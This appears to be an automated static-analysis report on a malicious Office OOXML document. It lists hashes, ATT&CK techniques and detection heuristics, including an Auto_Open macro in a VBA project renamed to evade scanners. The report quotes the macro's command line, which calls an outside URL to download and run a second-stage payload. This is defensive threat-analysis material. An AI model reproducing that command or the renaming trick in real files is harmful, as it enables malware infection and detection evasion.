Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1065ead41ab0a895…

MALICIOUS

Office (OOXML)

9.2 KB
MD5: 5c6b669680af6a2bb1d196f2c5e1f696 SHA-1: c41c0176ba09e56f6ea8be620b21ba17c74fd32a SHA-256: 1065ead41ab0a895d643c7b761626e345ab261cbaaa5d31dd19510ab692756e3
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The OOXML document contains a renamed VBA project with an Auto_Open macro, indicating malicious intent. The macro constructs and executes the command 'cmd.exe msgbox/rmsh ta https://www.bitl.y.com/asdodo', which is likely intended to download and execute a second-stage payload from the specified URL. The use of VBA and the Auto_Open execution method are common for initial infection vectors.

Heuristics 5

  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/kasdokaodsk.b)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitl

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
1452283698829334121e18b8cc4e662766b979959c836ec34a0001f910ec975c		 vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 730 bytes
vbaProject_00.bin
32484b3500e9f800306f2e950abc7a283c676d55ec69e0fabef31e2f387e95b3		 vba-project OOXML VBA project: ppt/kasdokaodsk.b 19456 bytes

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